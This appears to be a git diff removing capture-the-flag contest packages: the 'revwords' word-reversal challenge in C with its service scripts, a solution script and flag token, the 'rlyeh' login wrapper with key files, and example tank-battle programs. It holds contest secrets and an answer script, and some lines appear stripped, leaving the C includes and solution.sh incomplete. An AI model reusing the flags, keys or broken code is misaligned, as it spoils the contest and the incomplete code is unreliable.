packages/revwords/src clean - -revwords-build: - $(MAKE) -C packages/revwords/src build - -PACKAGES += revwords diff --git a/packages/revwords/service/revwords/finish b/packages/revwords/service/revwords/finish deleted file mode 100755 index 9721530..0000000 --- a/packages/revwords/service/revwords/finish +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -dbip -d diff --git a/packages/revwords/service/revwords/go b/packages/revwords/service/revwords/go deleted file mode 100755 index a6862a0..0000000 --- a/packages/revwords/service/revwords/go +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec $CTF_BASE/packages/revwords/bin/revwords 3<$CTF_BASE/packages/revwords/tokens.txt diff --git a/packages/revwords/service/revwords/ip.txt b/packages/revwords/service/revwords/ip.txt deleted file mode 100644 index 6bb2f98..0000000 --- a/packages/revwords/service/revwords/ip.txt +++ /dev/null @@ -1 +0,0 @@ -195 diff --git a/packages/revwords/service/revwords/log/run b/packages/revwords/service/revwords/log/run deleted file mode 100755 index 1e7bd9d..0000000 --- a/packages/revwords/service/revwords/log/run +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec svlogd -tt $PWD diff --git a/packages/revwords/service/revwords/run b/packages/revwords/service/revwords/run deleted file mode 100755 index ada9905..0000000 --- a/packages/revwords/service/revwords/run +++ /dev/null @@ -1,8 +0,0 @@ -#! /bin/sh -e - -exec 2>&1 - -IP=$(dbip -a) - -exec tcpsvd -u nobody ${IP%/*} 1013 ./go - diff --git a/packages/revwords/src/Makefile b/packages/revwords/src/Makefile deleted file mode 100644 index 5c328e7..0000000 --- a/packages/revwords/src/Makefile +++ /dev/null @@ -1,6 +0,0 @@ -CFLAGS = -Wall -Werror - -build: revwords - -clean: - rm -f revwords diff --git a/packages/revwords/src/revwords.c b/packages/revwords/src/revwords.c deleted file mode 100644 index 8a6c36d..0000000 --- a/packages/revwords/src/revwords.c +++ /dev/null @@ -1,105 +0,0 @@ -#include -#include -#include -#include -#include - -#define XDEBUG - -int -once() -{ - char sdrow[25][10]; - int nwords = 5 + (rand() % 2); - int i; - -#ifdef DEBUG - nwords = 2; -#endif - - for (i = 0; i < nwords; i += 1) { - char *drow = sdrow[i]; - int len = 4 + (rand() % 6); - int j; - - if (i > 0) putchar(' '); - for (j = 0; j < len; j += 1) { - char c = 'a' + (rand() % 26); - - putchar(c); - drow[len-j-1] = c; - } - - drow[j] = 0; - } - -#ifdef DEBUG - printf (" (answer: "); - for (i = 0; i < nwords; i += 1) { - if (i > 0) putchar(' '); - printf("%s", sdrow[i]); - } - putchar(')'); -#endif - - putchar('\n'); - fflush(stdout); - - for (i = 0; i < nwords; i += 1) { - char *p; - - if (i > 0) { - if (getchar() != ' ') return -1; - } - for (p = sdrow[i]; *p; p += 1) { - int c = getchar(); - - if (c != *p) return -1; - } - } - if (getchar() != '\n') return -1; - - return 0; -} - - -int -main(int argc, char *argv[]) -{ - char token[100]; - int i; - - { - FILE *tokenin = fdopen(3, "r"); - - if (! tokenin) { - fprintf(stderr, "Somebody didn't read the instructions.\n"); - return 1; - } - - if (NULL == fgets(token, sizeof(token), tokenin)) { - fprintf(stderr, "Error reading token.\n"); - return 1; - } - - fclose(tokenin); - } - - -#ifndef DEBUG - /* don't hang around forever waiting for input */ - alarm(3); -#endif - - srandom(time(NULL) * getpid()); - - for (i = 0; i < 12; i += 1) { - if (-1 == once()) { - printf("tahT saw ton tahw I saw gnitcepxe\n"); - return 1; - } - } - fputs(token, stdout); - - return 0; -} diff --git a/packages/revwords/src/solution.sh b/packages/revwords/src/solution.sh deleted file mode 100755 index da8910d..0000000 --- a/packages/revwords/src/solution.sh +++ /dev/null @@ -1,19 +0,0 @@ -#! /bin/sh - -## Run like this: -## -## socat EXEC:./solution.sh EXEC:./revwords 3&2 - enil=$(lrev $line) - echo $enil -done \ No newline at end of file diff --git a/packages/revwords/tokens.txt b/packages/revwords/tokens.txt deleted file mode 100644 index 58c779f..0000000 --- a/packages/revwords/tokens.txt +++ /dev/null @@ -1 +0,0 @@ -net:xetil-tuhet-calyx diff --git a/packages/rlyeh/rlyeh.mk b/packages/rlyeh/rlyeh.mk deleted file mode 100644 index 08ec44d..0000000 --- a/packages/rlyeh/rlyeh.mk +++ /dev/null @@ -1,26 +0,0 @@ -RLYEH_PKGDIR = $(TARGET)/rlyeh -RLYEH_BUILDDIR = $(BUILD)/rlyeh -RLYEH_CACHE = $(CACHE)/rlyeh.git -RLYEH_URL = "http://woozle.org/~neale/projects/rlyeh" - -$(RLYEH_CACHE): - git clone --bare $(RLYEH_URL) $@ - -rlyeh-source: $(RLYEH_BUILDDIR) -$(RLYEH_BUILDDIR): $(RLYEH_CACHE) - git clone $< $@ - -rlyeh-build: rlyeh-source - $(MAKE) -C $(RLYEH_BUILDDIR) - -rlyeh-install: rlyeh-build - mkdir -p $(RLYEH_PKGDIR)/bin - cp $(RLYEH_BUILDDIR)/rlyeh $(RLYEH_PKGDIR)/bin - - $(call COPYTREE, packages/rlyeh/service, $(RLYEH_PKGDIR)/service) - $(call COPYTREE, packages/rlyeh/tokens, $(RLYEH_PKGDIR)/tokens) - -rlyeh-clean: - rm -rf $(RLYEH_BUILDDIR) - -PACKAGES += rlyeh diff --git a/packages/rlyeh/service/rlyeh/finish b/packages/rlyeh/service/rlyeh/finish deleted file mode 100755 index 9721530..0000000 --- a/packages/rlyeh/service/rlyeh/finish +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -dbip -d diff --git a/packages/rlyeh/service/rlyeh/ip.txt b/packages/rlyeh/service/rlyeh/ip.txt deleted file mode 100644 index 04f9fe4..0000000 --- a/packages/rlyeh/service/rlyeh/ip.txt +++ /dev/null @@ -1 +0,0 @@ -59 diff --git a/packages/rlyeh/service/rlyeh/log/run b/packages/rlyeh/service/rlyeh/log/run deleted file mode 100755 index 1e7bd9d..0000000 --- a/packages/rlyeh/service/rlyeh/log/run +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec svlogd -tt $PWD diff --git a/packages/rlyeh/service/rlyeh/rlyeh-ctf b/packages/rlyeh/service/rlyeh/rlyeh-ctf deleted file mode 100755 index 63a3e8f..0000000 --- a/packages/rlyeh/service/rlyeh/rlyeh-ctf +++ /dev/null @@ -1,44 +0,0 @@ -#! /bin/sh - -STATE=$CTF_BASE/state - -echo -n "Team hash: " -read -r teamhash - -if ! [ -f $STATE/teams/names/"$teamhash" ]; then - echo 'No such team.' - exit -fi - -cd $STATE/rlyeh - -if [ -f $teamhash ]; then - now=$(date +%s) - ts=$(stat -c %Y $teamhash) - d=$(expr $now - $ts) - if [ $d -lt 60 ]; then - echo 'You are trying to connect too fast.' - exit - fi -else - echo 1 > $teamhash -fi -read level < $teamhash - -( - if ! flock -n 8; then - echo 'Your team is already logged in.' - exit - fi - - echo "Your team is on level $level." - echo - - if setuidgid nobody rlyeh $level; then - arc4 $CTF_BASE/packages/rlyeh/tokens/rlyeh/enc.key < $$CTF_BASE/state/rlyeh/tokens.txt - echo - expr $level + 1 > $teamhash - else - touch $teamhash - fi -) 8<$teamhash diff --git a/packages/rlyeh/service/rlyeh/run b/packages/rlyeh/service/rlyeh/run deleted file mode 100755 index 6060676..0000000 --- a/packages/rlyeh/service/rlyeh/run +++ /dev/null @@ -1,11 +0,0 @@ -#! /bin/sh -e - -exec 2>&1 - -IP=$(dbip -a) - -dir=/var/lib/ctf/rlyeh -install -o nobody -d $dir - -PATH=/opt/ctfbase/bin:/opt/rlyeh/bin:/bin:/sbin; export PATH -exec tcpsvd ${IP%/*} 1928 ./rlyeh-ctf diff --git a/packages/rlyeh/tokens/rlyeh/category b/packages/rlyeh/tokens/rlyeh/category deleted file mode 100644 index 0724055..0000000 --- a/packages/rlyeh/tokens/rlyeh/category +++ /dev/null @@ -1 +0,0 @@ -rlyeh diff --git a/packages/rlyeh/tokens/rlyeh/category.key b/packages/rlyeh/tokens/rlyeh/category.key deleted file mode 100644 index 8d72a26..0000000 --- a/packages/rlyeh/tokens/rlyeh/category.key +++ /dev/null @@ -1 +0,0 @@ -qVA.SF֨,.} \ No newline at end of file diff --git a/packages/rlyeh/tokens/rlyeh/enc.key b/packages/rlyeh/tokens/rlyeh/enc.key deleted file mode 100644 index 34a088b..0000000 --- a/packages/rlyeh/tokens/rlyeh/enc.key +++ /dev/null @@ -1 +0,0 @@ -7X)> !r|! \ No newline at end of file diff --git a/packages/tanks/examples/hard/antlion/author b/packages/tanks/examples/hard/antlion/author deleted file mode 100644 index 1718d06..0000000 --- a/packages/tanks/examples/hard/antlion/author +++ /dev/null @@ -1 +0,0 @@ -Nick Moffitt diff --git a/packages/tanks/examples/hard/antlion/name b/packages/tanks/examples/hard/antlion/name deleted file mode 100644 index baf3147..0000000 --- a/packages/tanks/examples/hard/antlion/name +++ /dev/null @@ -1 +0,0 @@ -Ant Lion diff --git a/packages/tanks/examples/hard/antlion/program b/packages/tanks/examples/hard/antlion/program deleted file mode 100644 index beb83bd..0000000 --- a/packages/tanks/examples/hard/antlion/program +++ /dev/null @@ -1,22 +0,0 @@ -get-turret 6 + set-turret! -0 0 set-speed! - -1 sensor? { get-turret 60 - set-turret! } if -2 sensor? { get-turret 60 + set-turret! } if -0 sensor? { - fire-ready? { 0 0 set-speed! fire! } if - fire-ready? ! set-led! -} if - -6 sensor? { - 0 set-turret! ( stay on target, stay on target... ) - 3 sensor? { -40 -40 set-speed! } if ( back dat tank up ) - 4 sensor? { 25 50 set-speed! } if ( hook ) - 5 sensor? { 50 25 set-speed! } if ( slice ) -} { - 3 sensor? { -100 -100 set-speed! } if ( back dat tank up ) - 4 sensor? { 50 100 set-speed! } if ( hook ) - 5 sensor? { 100 50 set-speed! } if ( slice ) -} ifelse - - diff --git a/packages/tanks/examples/hard/antlion/sensor0 b/packages/tanks/examples/hard/antlion/sensor0 deleted file mode 100644 index 469111b..0000000 --- a/packages/tanks/examples/hard/antlion/sensor0 +++ /dev/null @@ -1 +0,0 @@ -50 0 5 1 diff --git a/packages/tanks/examples/hard/antlion/sensor1 b/packages/tanks/examples/hard/antlion/sensor1 deleted file mode 100644 index 14bda08..0000000 --- a/packages/tanks/examples/hard/antlion/sensor1 +++ /dev/null @@ -1 +0,0 @@ -100 268 177 1 diff --git a/packages/tanks/examples/hard/antlion/sensor2 b/packages/tanks/examples/hard/antlion/sensor2 deleted file mode 100644 index f5fdaac..0000000 --- a/packages/tanks/examples/hard/antlion/sensor2 +++ /dev/null @@ -1 +0,0 @@ -100 92 178 1 diff --git a/packages/tanks/examples/hard/antlion/sensor3 b/packages/tanks/examples/hard/antlion/sensor3 deleted file mode 100644 index 4b63c75..0000000 --- a/packages/tanks/examples/hard/antlion/sensor3 +++ /dev/null @@ -1 +0,0 @@ -60 0 120 diff --git a/packages/tanks/examples/hard/antlion/sensor4 b/packages/tanks/examples/hard/antlion/sensor4 deleted file mode 100644 index ae2a212..0000000 --- a/packages/tanks/examples/hard/antlion/sensor4 +++ /dev/null @@ -1 +0,0 @@ -60 120 120 diff --git a/packages/tanks/examples/hard/antlion/sensor5 b/packages/tanks/examples/hard/antlion/sensor5 deleted file mode 100644 index b9e2568..0000000 --- a/packages/tanks/examples/hard/antlion/sensor5 +++ /dev/null @@ -1 +0,0 @@ -60 240 120 diff --git a/packages/tanks/examples/hard/antlion/sensor6 b/packages/tanks/examples/hard/antlion/sensor6 deleted file mode 100644 index 13994b7..0000000 --- a/packages/tanks/examples/hard/antlion/sensor6 +++ /dev/null @@ -1 +0,0 @@ -100 0 5 1 diff --git a/packages/tanks/examples/hard/chashtank/author b/packages/tanks/examples/hard/chashtank/author deleted file mode 100644 index e4503eb..0000000 --- a/packages/tanks/examples/hard/chashtank/author +++ /dev/null @@ -1 +0,0 @@ -Curtis Hash diff --git a/packages/tanks/examples/hard/chashtank/name b/packages/tanks/examples/hard/chashtank/name deleted file mode 100644 index b925208..0000000 --- a/packages/tanks/examples/hard/chashtank/name +++ /dev/null @@ -1 +0,0 @@ -ChashTank diff --git a/packages/tanks/examples/hard/chashtank/program b/packages/tanks/examples/hard/chashtank/program deleted file mode 100644 index dcaa57b..0000000 --- a/packages/tanks/examples/hard/chashtank/program +++ /dev/null @@ -1,41 +0,0 @@ -( move back and forth ) -0 set-turret! -6 random 2 < { 95 75 set-speed! } { 90 90 set-speed! } ifelse - -( rear sensor ) -4 sensor? { 90 90 set-speed! } if - -( far right front sensor ) -5 sensor? { 100 -100 set-speed! } if - -( far left front sensor ) -6 sensor? { -100 100 set-speed! } if - -( right front sensor ) -2 sensor? { 80 -80 set-speed! } if - -( left front sensor ) -3 sensor? { -80 80 set-speed! } if - -( immediate front sensor in firing range ) -0 sensor? -{ - fire-ready? - { fire! } - { -50 -50 set-speed! } - ifelse -} -if - -( near far right front sensor ) -8 sensor? { 60 -60 set-speed! } if -9 sensor? { -60 60 set-speed! } if - -fire-ready? set-led! - -( front far sensor ) -7 sensor? fire-ready? & { 100 100 set-speed! } if - -( collison sensor ) -1 sensor? { -100 -100 set-speed! 0 set-turret! } if - diff --git a/packages/tanks/examples/hard/chashtank/sensor0 b/packages/tanks/examples/hard/chashtank/sensor0 deleted file mode 100644 index b5725bf..0000000 --- a/packages/tanks/examples/hard/chashtank/sensor0 +++ /dev/null @@ -1 +0,0 @@ -50 0 10 1 diff --git a/packages/tanks/examples/hard/chashtank/sensor1 b/packages/tanks/examples/hard/chashtank/sensor1 deleted file mode 100644 index 6ffe40c..0000000 --- a/packages/tanks/examples/hard/chashtank/sensor1 +++ /dev/null @@ -1 +0,0 @@ -35 0 90 0 diff --git a/packages/tanks/examples/hard/chashtank/sensor2 b/packages/tanks/examples/hard/chashtank/sensor2 deleted file mode 100644 index b9fcdad..0000000 --- a/packages/tanks/examples/hard/chashtank/sensor2 +++ /dev/null @@ -1 +0,0 @@ -100 30 59 0 diff --git a/packages/tanks/examples/hard/chashtank/sensor3 b/packages/tanks/examples/hard/chashtank/sensor3 deleted file mode 100644 index dfda664..0000000 --- a/packages/tanks/examples/hard/chashtank/sensor3 +++ /dev/null @@ -1 +0,0 @@ -100 330 59 0 diff --git a/packages/tanks/examples/hard/chashtank/sensor4 b/packages/tanks/examples/hard/chashtank/sensor4 deleted file mode 100644 index a18b6ea..0000000 --- a/packages/tanks/examples/hard/chashtank/sensor4 +++ /dev/null @@ -1 +0,0 @@ -70 180 180 0 diff --git a/packages/tanks/examples/hard/chashtank/sensor5 b/packages/tanks/examples/hard/chashtank/sensor5 deleted file mode 100644 index f7ddaaa..0000000 --- a/packages/tanks/examples/hard/chashtank/sensor5 +++ /dev/null @@ -1 +0,0 @@ -100 90 59 0 diff --git a/packages/tanks/examples/hard/chashtank/sensor6 b/packages/tanks/examples/hard/chashtank/sensor6 deleted file mode 100644 index a6561dd..0000000 --- a/packages/tanks/examples/hard/chashtank/sensor6 +++ /dev/null @@ -1 +0,0 @@ -100 270 59 0 diff --git a/packages/tanks/examples/hard/chashtank/sensor7 b/packages/tanks/examples/hard/chashtank/sensor7 deleted file mode 100644 index 13994b7..0000000 --- a/packages/tanks/examples/hard/chashtank/sensor7 +++ /dev/null @@ -1 +0,0 @@ -100 0 5 1 diff --git a/packages/tanks/examples/hard/chashtank/sensor8 b/packages/tanks/examples/hard/chashtank/sensor8 deleted file mode 100644 index faf590f..0000000 --- a/packages/tanks/examples/hard/chashtank/sensor8 +++ /dev/null @@ -1 +0,0 @@ -55 50 89 0 diff --git a/packages/tanks/examples/hard/chashtank/sensor9 b/packages/tanks/examples/hard/chashtank/sensor9 deleted file mode 100644 index 31cddcd..0000000 --- a/packages/tanks/examples/hard/chashtank/sensor9 +++ /dev/null @@ -1 +0,0 @@ -55 310 89 0 diff --git a/packages/tanks/examples/hard/crashmaster/author b/packages/tanks/examples/hard/crashmaster/author deleted file mode 100644 index 902019d..0000000 --- a/packages/tanks/examples/hard/crashmaster/author +++ /dev/null @@ -1 +0,0 @@ -Neale Pickett diff --git a/packages/tanks/examples/hard/crashmaster/name b/packages/tanks/examples/hard/crashmaster/name deleted file mode 100644 index e0a2059..0000000 --- a/packages/tanks/examples/hard/crashmaster/name +++ /dev/null @@ -1 +0,0 @@ -Crashmaster diff --git a/packages/tanks/examples/hard/crashmaster/program b/packages/tanks/examples/hard/crashmaster/program deleted file mode 100644 index 288b323..0000000 --- a/packages/tanks/examples/hard/crashmaster/program +++ /dev/null @@ -1,38 +0,0 @@ -( Mem 0: Turn number ) -0 mget -1 + -0 mset - -0 mget 30 % 10 / ( [0..2], changes every 10 turns ) -dup 0 = { 80 80 set-speed! } if -dup 1 = { 60 80 set-speed! } if - 2 = { 80 60 set-speed! } if - -0 set-turret! - -fire-ready? set-led! - -fire-ready? -{ - ( Behavior for when we can shoot ) - - 0 sensor? { fire! } if - 1 sensor? { 10 10 set-speed! 0 set-turret! } if - 2 sensor? { 10 10 set-speed! 0 set-turret! } if - 3 sensor? { 0 60 set-speed! get-turret 50 - set-turret! } if - 4 sensor? { 60 0 set-speed! get-turret 50 + set-turret! } if - 3 sensor? 4 sensor? & { 100 100 set-speed! get-turret set-turret! } if - 5 sensor? { 100 40 set-speed! } if -} -{ - ( Behavior for when we can't shoot ) - - 0 sensor? { 10 20 set-speed! } if - 1 sensor? { 10 10 set-speed! } if - 2 sensor? { 10 20 set-speed! } if - 3 sensor? { 70 50 set-speed! } if - 4 sensor? { 50 70 set-speed! } if - 3 sensor? 4 sensor? & { -100 20 set-speed! } if - 5 sensor? { 100 50 set-speed! } if -} -ifelse diff --git a/packages/tanks/examples/hard/crashmaster/sensor0 b/packages/tanks/examples/hard/crashmaster/sensor0 deleted file mode 100644 index 682dfb9..0000000 --- a/packages/tanks/examples/hard/crashmaster/sensor0 +++ /dev/null @@ -1 +0,0 @@ -50 0 8 1 diff --git a/packages/tanks/examples/hard/crashmaster/sensor1 b/packages/tanks/examples/hard/crashmaster/sensor1 deleted file mode 100644 index a6b17e8..0000000 --- a/packages/tanks/examples/hard/crashmaster/sensor1 +++ /dev/null @@ -1 +0,0 @@ -30 0 50 0 diff --git a/packages/tanks/examples/hard/crashmaster/sensor2 b/packages/tanks/examples/hard/crashmaster/sensor2 deleted file mode 100644 index 7851bcc..0000000 --- a/packages/tanks/examples/hard/crashmaster/sensor2 +++ /dev/null @@ -1 +0,0 @@ -50 0 10 0 diff --git a/packages/tanks/examples/hard/crashmaster/sensor3 b/packages/tanks/examples/hard/crashmaster/sensor3 deleted file mode 100644 index 473e0b5..0000000 --- a/packages/tanks/examples/hard/crashmaster/sensor3 +++ /dev/null @@ -1 +0,0 @@ -100 315 100 1 diff --git a/packages/tanks/examples/hard/crashmaster/sensor4 b/packages/tanks/examples/hard/crashmaster/sensor4 deleted file mode 100644 index cb0e6e2..0000000 --- a/packages/tanks/examples/hard/crashmaster/sensor4 +++ /dev/null @@ -1 +0,0 @@ -100 45 100 1 diff --git a/packages/tanks/examples/hard/crashmaster/sensor5 b/packages/tanks/examples/hard/crashmaster/sensor5 deleted file mode 100644 index 3f436a9..0000000 --- a/packages/tanks/examples/hard/crashmaster/sensor5 +++ /dev/null @@ -1 +0,0 @@ -60 180 180 0 diff --git a/packages/tanks/examples/hard/foobar/author b/packages/tanks/examples/hard/foobar/author deleted file mode 100644 index e4503eb..0000000 --- a/packages/tanks/examples/hard/foobar/author +++ /dev/null @@ -1 +0,0 @@ -Curtis Hash diff --git a/packages/tanks/examples/hard/foobar/name b/packages/tanks/examples/hard/foobar/name deleted file mode 100644 index 323fae0..0000000 --- a/packages/tanks/examples/hard/foobar/name +++ /dev/null @@ -1 +0,0 @@ -foobar diff --git a/packages/tanks/examples/hard/foobar/program b/packages/tanks/examples/hard/foobar/program deleted file mode 100644 index eecd344..0000000 --- a/packages/tanks/examples/hard/foobar/program +++ /dev/null @@ -1,15 +0,0 @@ -65 85 set-speed! - -6 random 2 <= { 85 65 set-speed! } if - -0 set-turret! -2 sensor? { 80 10 set-speed! get-turret 30 + set-turret! } if -3 sensor? { 10 80 set-speed! get-turret 30 - set-turret! } if -4 sensor? { 90 90 set-speed! } if -5 sensor? { 90 10 set-speed! get-turret 30 + set-turret! } if -6 sensor? { 10 90 set-speed! get-turret 30 - set-turret! } if -0 sensor? fire-ready? & { 90 90 set-speed! 0 set-turret! fire! } if -1 sensor? { -100 -100 set-speed! } if - -fire-ready? set-led! - diff --git a/packages/tanks/examples/hard/foobar/sensor0 b/packages/tanks/examples/hard/foobar/sensor0 deleted file mode 100644 index 034e325..0000000 --- a/packages/tanks/examples/hard/foobar/sensor0 +++ /dev/null @@ -1 +0,0 @@ -55 0 5 1 diff --git a/packages/tanks/examples/hard/foobar/sensor1 b/packages/tanks/examples/hard/foobar/sensor1 deleted file mode 100644 index b21565e..0000000 --- a/packages/tanks/examples/hard/foobar/sensor1 +++ /dev/null @@ -1 +0,0 @@ -40 0 30 0 diff --git a/packages/tanks/examples/hard/foobar/sensor2 b/packages/tanks/examples/hard/foobar/sensor2 deleted file mode 100644 index 89ec188..0000000 --- a/packages/tanks/examples/hard/foobar/sensor2 +++ /dev/null @@ -1 +0,0 @@ -80 30 59 0 diff --git a/packages/tanks/examples/hard/foobar/sensor3 b/packages/tanks/examples/hard/foobar/sensor3 deleted file mode 100644 index c438cad..0000000 --- a/packages/tanks/examples/hard/foobar/sensor3 +++ /dev/null @@ -1 +0,0 @@ -80 330 59 0 diff --git a/packages/tanks/examples/hard/foobar/sensor4 b/packages/tanks/examples/hard/foobar/sensor4 deleted file mode 100644 index a18b6ea..0000000 --- a/packages/tanks/examples/hard/foobar/sensor4 +++ /dev/null @@ -1 +0,0 @@ -70 180 180 0 diff --git a/packages/tanks/examples/hard/foobar/sensor5 b/packages/tanks/examples/hard/foobar/sensor5 deleted file mode 100644 index c83a316..0000000 --- a/packages/tanks/examples/hard/foobar/sensor5 +++ /dev/null @@ -1 +0,0 @@ -80 90 59 0 diff --git a/packages/tanks/examples/hard/foobar/sensor6 b/packages/tanks/examples/hard/foobar/sensor6 deleted file mode 100644 index ee3f02a..0000000 --- a/packages/tanks/examples/hard/foobar/sensor6 +++ /dev/null @@ -1 +0,0 @@ -80 270 59 0 diff --git a/packages/tanks/examples/hard/pflarr/author b/packages/tanks/examples/hard/pflarr/author deleted file mode 100644 index 5d7a8e0..0000000 --- a/packages/tanks/examples/hard/pflarr/author +++ /dev/null @@ -1 +0,0 @@ -Paul Ferrell diff --git a/packages/tanks/examples/hard/pflarr/name b/packages/tanks/examples/hard/pflarr/name deleted file mode 100644 index e2f684c..0000000 --- a/packages/tanks/examples/hard/pflarr/name +++ /dev/null @@ -1 +0,0 @@ -Pflanzarr diff --git a/packages/tanks/examples/hard/pflarr/program b/packages/tanks/examples/hard/pflarr/program deleted file mode 100644 index f7df7a1..0000000 --- a/packages/tanks/examples/hard/pflarr/program +++ /dev/null @@ -1,27 +0,0 @@ -70 75 set-speed! -0 set-turret! - -10 random 1 > { 75 75 set-speed! } if - -2 sensor? { - 85 70 set-speed! - 0 sensor? { get-turret 15 + set-turret! } - { get-turret 30 + set-turret! } ifelse -} if -3 sensor? { - 75 80 set-speed! - 0 sensor? { get-turret 15 - set-turret! } - { get-turret 30 - set-turret! } ifelse -} if -5 sensor? { - 7 sensor? { 70 30 set-speed! } if - 8 sensor? { 30 70 set-speed! } if - 0 sensor? { fire! } if - 6 sensor? fire-ready? & { 100 100 set-speed! } if -} if -4 sensor? { 100 100 set-speed! } if -1 sensor? { -50 25 set-speed! } if - -fire-ready? set-led! - - diff --git a/packages/tanks/examples/hard/pflarr/sensor0 b/packages/tanks/examples/hard/pflarr/sensor0 deleted file mode 100644 index c134070..0000000 --- a/packages/tanks/examples/hard/pflarr/sensor0 +++ /dev/null @@ -1 +0,0 @@ -50 0 45 1 diff --git a/packages/tanks/examples/hard/pflarr/sensor1 b/packages/tanks/examples/hard/pflarr/sensor1 deleted file mode 100644 index 5773d18..0000000 --- a/packages/tanks/examples/hard/pflarr/sensor1 +++ /dev/null @@ -1 +0,0 @@ -30 0 180 diff --git a/packages/tanks/examples/hard/pflarr/sensor2 b/packages/tanks/examples/hard/pflarr/sensor2 deleted file mode 100644 index c5e303c..0000000 --- a/packages/tanks/examples/hard/pflarr/sensor2 +++ /dev/null @@ -1 +0,0 @@ -100 40 60 1 diff --git a/packages/tanks/examples/hard/pflarr/sensor3 b/packages/tanks/examples/hard/pflarr/sensor3 deleted file mode 100644 index 4c9cef7..0000000 --- a/packages/tanks/examples/hard/pflarr/sensor3 +++ /dev/null @@ -1 +0,0 @@ -100 320 60 1 diff --git a/packages/tanks/examples/hard/pflarr/sensor4 b/packages/tanks/examples/hard/pflarr/sensor4 deleted file mode 100644 index 8f73117..0000000 --- a/packages/tanks/examples/hard/pflarr/sensor4 +++ /dev/null @@ -1 +0,0 @@ -80 180 160 diff --git a/packages/tanks/examples/hard/pflarr/sensor5 b/packages/tanks/examples/hard/pflarr/sensor5 deleted file mode 100644 index 1212984..0000000 --- a/packages/tanks/examples/hard/pflarr/sensor5 +++ /dev/null @@ -1 +0,0 @@ -100 0 0 1 diff --git a/packages/tanks/examples/hard/pflarr/sensor6 b/packages/tanks/examples/hard/pflarr/sensor6 deleted file mode 100644 index 7d1e8c4..0000000 --- a/packages/tanks/examples/hard/pflarr/sensor6 +++ /dev/null @@ -1 +0,0 @@ -100 0 0 diff --git a/packages/tanks/examples/hard/pflarr/sensor7 b/packages/tanks/examples/hard/pflarr/sensor7 deleted file mode 100644 index b761a40..0000000 --- a/packages/tanks/examples/hard/pflarr/sensor7 +++ /dev/null @@ -1 +0,0 @@ -75 75 30 diff --git a/packages/tanks/examples/hard/pflarr/sensor8 b/packages/tanks/examples/hard/pflarr/sensor8 deleted file mode 100644 index 7b7dcc2..0000000 --- a/packages/tanks/examples/hard/pflarr/sensor8 +++ /dev/null @@ -1 +0,0 @@ -75 285 30 diff --git a/packages/tanks/examples/hard/skirts/author b/packages/tanks/examples/hard/skirts/author deleted file mode 100644 index 902019d..0000000 --- a/packages/tanks/examples/hard/skirts/author +++ /dev/null @@ -1 +0,0 @@ -Neale Pickett diff --git a/packages/tanks/examples/hard/skirts/color b/packages/tanks/examples/hard/skirts/color deleted file mode 100644 index 10dbfa4..0000000 --- a/packages/tanks/examples/hard/skirts/color +++ /dev/null @@ -1 +0,0 @@ -#d0d054 \ No newline at end of file diff --git a/packages/tanks/examples/hard/skirts/name b/packages/tanks/examples/hard/skirts/name deleted file mode 100644 index 4a4b9e0..0000000 --- a/packages/tanks/examples/hard/skirts/name +++ /dev/null @@ -1 +0,0 @@ -skirts \ No newline at end of file diff --git a/packages/tanks/examples/hard/skirts/program b/packages/tanks/examples/hard/skirts/program deleted file mode 100644 index 7fa896f..0000000 --- a/packages/tanks/examples/hard/skirts/program +++ /dev/null @@ -1,58 +0,0 @@ -15 14 set-speed! - -( Front ) -5 sensor? { - get-turret 45 + 90 < { 15 15 } { 2 2 } ifelse set-speed! - 0 set-turret! -} if - -( Rear ) -6 sensor? { - get-turret 45 + 90 < { 2 2 } { -15 -15 } ifelse set-speed! - 180 set-turret! -} if -7 sensor? { - 90 set-turret! - 5 -5 set-speed! -} if -8 sensor? { - -90 set-turret! - -5 5 set-speed! -} if - -1 sensor? { - get-turret 10 + set-turret! -} if - -2 sensor? { - get-turret 10 - set-turret! -} if - -3 sensor? { - get-turret 20 + set-turret! -} if - -4 sensor? { - get-turret 20 - set-turret! -} if - -0 sensor? { - 0 0 set-speed! - get-turret set-turret! - fire! -} if - -fire-ready? ! { - 70 60 10 random + - get-turret 90 + 180 > { exch } if - set-speed! -} if - -9 sensor? { - 5 sensor? { - -100 -100 - } { - 100 100 - } ifelse - set-speed! -} if \ No newline at end of file diff --git a/packages/tanks/examples/hard/skirts/sensor0 b/packages/tanks/examples/hard/skirts/sensor0 deleted file mode 100644 index a6ab06f..0000000 --- a/packages/tanks/examples/hard/skirts/sensor0 +++ /dev/null @@ -1 +0,0 @@ -50 0 7 1 diff --git a/packages/tanks/examples/hard/skirts/sensor1 b/packages/tanks/examples/hard/skirts/sensor1 deleted file mode 100644 index d9fa05d..0000000 --- a/packages/tanks/examples/hard/skirts/sensor1 +++ /dev/null @@ -1 +0,0 @@ -60 10 12 1 diff --git a/packages/tanks/examples/hard/skirts/sensor2 b/packages/tanks/examples/hard/skirts/sensor2 deleted file mode 100644 index bee5d05..0000000 --- a/packages/tanks/examples/hard/skirts/sensor2 +++ /dev/null @@ -1 +0,0 @@ -60 -10 12 1 diff --git a/packages/tanks/examples/hard/skirts/sensor3 b/packages/tanks/examples/hard/skirts/sensor3 deleted file mode 100644 index 0be47b9..0000000 --- a/packages/tanks/examples/hard/skirts/sensor3 +++ /dev/null @@ -1 +0,0 @@ -90 30 40 1 diff --git a/packages/tanks/examples/hard/skirts/sensor4 b/packages/tanks/examples/hard/skirts/sensor4 deleted file mode 100644 index e7609b1..0000000 --- a/packages/tanks/examples/hard/skirts/sensor4 +++ /dev/null @@ -1 +0,0 @@ -90 -30 40 1 diff --git a/packages/tanks/examples/hard/skirts/sensor5 b/packages/tanks/examples/hard/skirts/sensor5 deleted file mode 100644 index 26b41ae..0000000 --- a/packages/tanks/examples/hard/skirts/sensor5 +++ /dev/null @@ -1 +0,0 @@ -60 0 90 0 diff --git a/packages/tanks/examples/hard/skirts/sensor6 b/packages/tanks/examples/hard/skirts/sensor6 deleted file mode 100644 index b69dc3a..0000000 --- a/packages/tanks/examples/hard/skirts/sensor6 +++ /dev/null @@ -1 +0,0 @@ -60 180 90 0 diff --git a/packages/tanks/examples/hard/skirts/sensor7 b/packages/tanks/examples/hard/skirts/sensor7 deleted file mode 100644 index db4c883..0000000 --- a/packages/tanks/examples/hard/skirts/sensor7 +++ /dev/null @@ -1 +0,0 @@ -80 90 90 0 diff --git 